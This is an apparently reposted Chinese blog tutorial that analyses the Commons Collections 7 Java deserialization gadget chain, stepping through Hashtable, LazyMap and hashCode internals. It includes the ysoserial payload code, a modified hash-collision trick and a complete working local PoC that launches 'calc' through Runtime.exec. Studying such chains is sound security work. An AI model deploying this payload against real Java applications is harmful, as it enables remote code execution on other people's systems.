长亭百川云 - 文章详情

JAVA反序列化之CommonCollections7利用链

猎户攻防实验室

63

2024-07-13

好久没有分析CC链了,今天来把最后一个CC7分析一下(1-6可以到博客http://myblog.ac.cn查看)。 
首先看一下yso代码:

 1public Hashtable getObject(final String command) throws Exception { 2 3    // Reusing transformer chain and LazyMap gadgets from previous payloads 4    final String[] execArgs = new String[]{command}; 5 6    final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); 7 8    final Transformer[] transformers = new Transformer[]{ 9        new ConstantTransformer(Runtime.class),10        new InvokerTransformer("getMethod",11            new Class[]{String.class, Class[].class},12            new Object[]{"getRuntime", new Class[0]}),13        new InvokerTransformer("invoke",14            new Class[]{Object.class, Object[].class},15            new Object[]{null, new Object[0]}),16        new InvokerTransformer("exec",17            new Class[]{String.class},18            execArgs),19        new ConstantTransformer(1)};2021    Map innerMap1 = new HashMap();22    Map innerMap2 = new HashMap();2324    // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject25    Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);26    lazyMap1.put("yy", 1);2728    Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);29    lazyMap2.put("zZ", 1);3031    // Use the colliding Maps as keys in Hashtable32    Hashtable hashtable = new Hashtable();33    hashtable.put(lazyMap1, 1);34    hashtable.put(lazyMap2, 2);3536    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);3738    // Needed to ensure hash collision after previous manipulations39    lazyMap2.remove("yy");4041    return hashtable;42}

之前说过CC链都是从任意类到Transform的调用过程,CC7也不例外,所以只要知道入口点然后一步一步向下跟就可以了。 
可以看到最后返回的对象是一个hashtable,说明hashtable是反序列化入口点。为了更好的理解调用过程,先来了解一下hashtable

什么是哈希表

散列表(Hash table,也叫哈希表),是根据关键 码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来 访问记录,以加快查找的速度。这个映射函数叫做 散列函数,存放记录的数组叫做散列表。 
哈希表是由数组+链表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到, 数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。 

入口

了解了哈希表之后接下来我们看一下入口代码: 
这里只贴了关键代码

 1int elements = s.readInt(); 2table = new Entry<?,?>[length]; 3count = 0; 4for (; elements > 0; elements--) { 5    @SuppressWarnings("unchecked") 6        K key = (K)s.readObject(); 7    @SuppressWarnings("unchecked") 8        V value = (V)s.readObject(); 9    // sync is eliminated for performance10    reconstitutionPut(table, key, value);11}

首先创建一个Entry,这是上文讲到的哈希表中的那个数组。 
然后进入for循环读取key,value,然后调用reconstitutionPut方法。

HashTable.reconstitutionPut

 1private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) 2    throws StreamCorruptedException 3{ 4    if (value == null) { 5        throw new java.io.StreamCorruptedException(); 6    } 7    // Makes sure the key is not already in the hashtable. 8    // This should not happen in deserialized version. 9    int hash = key.hashCode();10    int index = (hash & 0x7FFFFFFF) % tab.length;11    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {12        if ((e.hash == hash) && e.key.equals(key)) {13            throw new java.io.StreamCorruptedException();14        }15    }16    // Creates the new entry.17    @SuppressWarnings("unchecked")18        Entry<K,V> e = (Entry<K,V>)tab[index];19    tab[index] = new Entry<>(hash, key, value, e);20    count++;21}

可以看到首先通过key计算一个hash值,用这个值进行计算得到index。这个index就是前面创建的Entry数组的索引。 
然后判断Entry当前索引处是否有对象,如果有对象的话判断两个对象是否相等。如果不相等的话则通过当前key的hash,以及key,value,和当前数组节点的Entry新建一个Entry挂入当前索引处。 
而我们的目标是需要让Entry数组当前索引处的对象哈希与将要挂入的对象哈希一致,这样就会调用e.key.equals从而进入我们的调用链。

控制哈希(重点)

回过头看一下yso的代码,hashtable中有两个LazyMap元素,而LazyMap中封装的是一个Hashmap,而Hashmap中是一个Entry<String,Integer>对象。 
接下来我们跟一下计算hashcode的过程。

 1private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) 2    throws StreamCorruptedException 3{ 4    if (value == null) { 5        throw new java.io.StreamCorruptedException(); 6    } 7    // Makes sure the key is not already in the hashtable. 8    // This should not happen in deserialized version. 9    int hash = key.hashCode();10    int index = (hash & 0x7FFFFFFF) % tab.length;11    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {12        if ((e.hash == hash) && e.key.equals(key)) {13            throw new java.io.StreamCorruptedException();14        }15    }16    // Creates the new entry.17    @SuppressWarnings("unchecked")18        Entry<K,V> e = (Entry<K,V>)tab[index];19    tab[index] = new Entry<>(hash, key, value, e);20    count++;21}

首先调用key.hashCode。这里的key就是LazyMap对象。 
但是LazyMap类没有实现hashCode方法,所以要看一下他的父类(AbstractMapDecorator类)的实现:

1public int hashCode() {2  return this.map.hashCode();3}

可以看到AbstractMapDecorator类的hashCode调用了this.map.hashCode。而this.map是一个hashmap对象,继续跟进hashmap对象:

hashmap没有实现hashcode方法,继续跟进父类AbstractMap.hashCode:

1public int hashCode() {2    int h = 0;3    Iterator<Entry<K,V>> i = entrySet().iterator();4    while (i.hasNext())5        h += i.next().hashCode();6    return h;7}

可以看到首先通过entrySet().iterator();获取一个迭代器,然后通过迭代器循环调用元素的hashCode方法。

1transient Set<Map.Entry<K,V>> entrySet;23public Set<Map.Entry<K,V>> entrySet() {4   Set<Map.Entry<K,V>> es;5   return (es = entrySet) == null ? (entrySet = new EntrySet()) : es;6} 

entrySet()返回的是一个Set,这个Set的元素是Map.Entry<K,V>,Entry<K,V>是一个接口,这个接口在Hashmap中被Node类实现,继续看一下Node.HashCode方法:

1public final int hashCode() {2    return Objects.hashCode(key) ^ Objects.hashCode(value);3}

Node.HashCode方法如上,可以看到调用了Objects.hashCode并将key,value当作参数传进去并且将他们的结果进行异或计算。

看一下Objects.hashcode:

1public static int hashCode(Object o) {2   return o != null ? o.hashCode() : 0;3}

可以看到Objects.hashCode中只要参数不为null就调用参数的hashCode方法。

而当前hashmap中的key,value<String,Integer>类型。所以想要控制hash就要看一下Stringint类型的hashcode方法了:
String.hashCode代码如下:

 1public int hashCode() { 2    int h = hash; 3    if (h == 0 && value.length > 0) { 4        char val[] = value; 5 6        for (int i = 0; i < value.length; i++) { 7            h = 31 * h + val[i]; 8        } 9        hash = h;10    }11    return h;12}

hash是一个类成员变量,代表该对象的hash值,默认为0。当第一次调用hashCode时该成员会被赋值,当以后在调用该方法时则直接返回hash变量。 
而hash的计算方式就是将字符串除了最后一个字符其他的乘31后相加。

Integer.hashCode代码如下:

1public int hashCode() {2   return Integer.hashCode(value);3}4public static int hashCode(int value) {5   return value;6}

很简单,直接返回自身。

到这里我们已经可以基本了解如何控制哈希了。 
只要两个lazyMap中的Key.hashCode()^value.hashCode()保持一致即可,CC7链的做法是通过控制key,也就是String的hashcode,而Integer始终为1,这样只要String的hash一致那么最终的 lazyMap.hash就一致。

但是更简单的办法是通过Integer来控制最终的hash,因为Integer.hashCode直接返回自身,所以与其控制String的hash不如直接控制Integer来的更方便。只要让Integer的hash与key.hashCode保持一致,那么进行异或运算后最终结果就是0,这样我们可以随意设置key的值,比如这样:

1Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);2lazyMap1.put((short)12, 12);3Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);4lazyMap2.put(new URL("http://www.baidu.com"), -588894355);

AbstractMapDecorator.equals

控制哈希相等后,就会进入LazyMap.equals方法,因为LazyMap没有实现equals方法所以调用了AbstractMapDecorator.equals方法,代码如下:

1public boolean equals(Object object) {2    return object == this ? true : this.map.equals(object);3}

AbstractMap.equals

可以看到AbstractMapDecorator.equals调用了this.map.equals,而当前的map是hashMap。因为hashMap没有实现equals方法所以调用父类(AbstractMap)的equals方法,代码如下:

 1public boolean equals(Object o) { 2    if (o == this) 3        return true; 4 5    if (!(o instanceof Map)) 6        return false; 7    Map<?,?> m = (Map<?,?>) o; 8    if (m.size() != size()) 9        return false;1011    try {12        Iterator<Entry<K,V>> i = entrySet().iterator();13        while (i.hasNext()) {14            Entry<K,V> e = i.next();15            K key = e.getKey();16            V value = e.getValue();17            if (value == null) {18                if (!(m.get(key)==null && m.containsKey(key)))19                    return false;20            } else {21                if (!value.equals(m.get(key)))22                    return false;23            }24        }25    } catch (ClassCastException unused) {26        return false;27    } catch (NullPointerException unused) {28        return false;29    }3031    return true;32}

从代码中可以看出,首先判断参数是否是一个Map实例,如果不是则代表不相等返回false;然后判断Map的size是否一致,如果否则代表不相等返回false。 
经过上面的判断后可以证明参数是一个Map并且长度一致,接下来就获取一个迭代器循环判断每个元素是否相等。 
首先获取自身的key和value,然后判断自身的value是否为空,如果不为空则判断和目标参数value是否一致。判断value的时候就调用了LazyMap.get来获取value。这时候将触发我们的调用链。

LazyMap.get

从上面代码可以看到,在equals方法最后调用了LazyMap.get方法,代码如下:

1public Object get(Object key) {2    if (!this.map.containsKey(key)) {3        Object value = this.factory.transform(key);4        this.map.put(key, value);5        return value;6    } else {7        return this.map.get(key);8    }9}

这时候我们要控制代码执行if语句块中的代码,所以this.map.containsKey一定要为false。所以两个lazyMap中put的key不能一样。

1Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);2lazyMap1.put((short)12, 12);3Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);4lazyMap2.put(new URL("http://www.baidu.com"), -588894355);

ChainedTransformer.transform

接下来就进入了this.factory.transform(key)这个调用,而factory就是我们精心构造的命令执行的调用链。 
这个调用链在每个CC链中都有用到,这里就不展开了。

最终POC

最后贴一下本地测试demo

 1public class demo1 { 2    public static void main(String[] args) throws Exception{ 3        String command = "calc"; 4        final String[] execArgs = new String[]{command}; 5 6        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); 7 8        final Transformer[] transformers = new Transformer[]{ 9                new ConstantTransformer(Runtime.class),10                new InvokerTransformer("getMethod",11                        new Class[]{String.class, Class[].class},12                        new Object[]{"getRuntime", new Class[0]}),13                new InvokerTransformer("invoke",14                        new Class[]{Object.class, Object[].class},15                        new Object[]{null, new Object[0]}),16                new InvokerTransformer("exec",17                        new Class[]{String.class},18                        execArgs),19                new ConstantTransformer(1)};2021        Map innerMap1 = new HashMap();22        Map innerMap2 = new HashMap();2324        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject25        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);26        lazyMap1.put((short)12, 12);27        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);28        lazyMap2.put(new URL("http://www.baidu.com"), -588894355);2930        // Use the colliding Maps as keys in Hashtable31        Hashtable hashtable = new Hashtable();32        hashtable.put(lazyMap1, 1);33        hashtable.put(lazyMap2, 2);3435        setFieldValue(transformerChain, "iTransformers", transformers);3637        // Needed to ensure hash collision after previous manipulations38        lazyMap2.remove((short)12);3940        ByteOutputStream bos = new ByteOutputStream();41        ObjectOutputStream oos = new ObjectOutputStream(bos);42        oos.writeObject(hashtable);4344        ByteInputStream bis = new ByteInputStream(bos.getBytes(),bos.getBytes().length);45        ObjectInputStream ois = new ObjectInputStream(bis);46        ois.readObject();474849    }50    public static void setFieldValue(Object ob,String field,Object value) {51        Field fd = null;52        try{53            fd = ob.getClass().getDeclaredField(field);54            fd.setAccessible(true);55        }56        catch (Exception e)57        {58            try {59                fd = ob.getClass().getField(field);60            }catch (Exception es){61                System.out.println(es);62            }63        }64        try {65            fd.set(ob,value);66        }catch (Exception exc){67            System.out.println(exc);68        }6970    }71}

调用链

1HashTable.readObject  2HashTable.reconstitutionPut  3AbstractMapDecorator.equals  4AbstractMap.equals  5LazyMap.get  6ChainedTransformer.transform  

总结

总体来说这条链还是比较简单的,从LazyMap类到Transformer的链之前已经遇见好多次了。唯一不同的就是hashTable控制哈希这里,不过感觉还是相对简单的。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2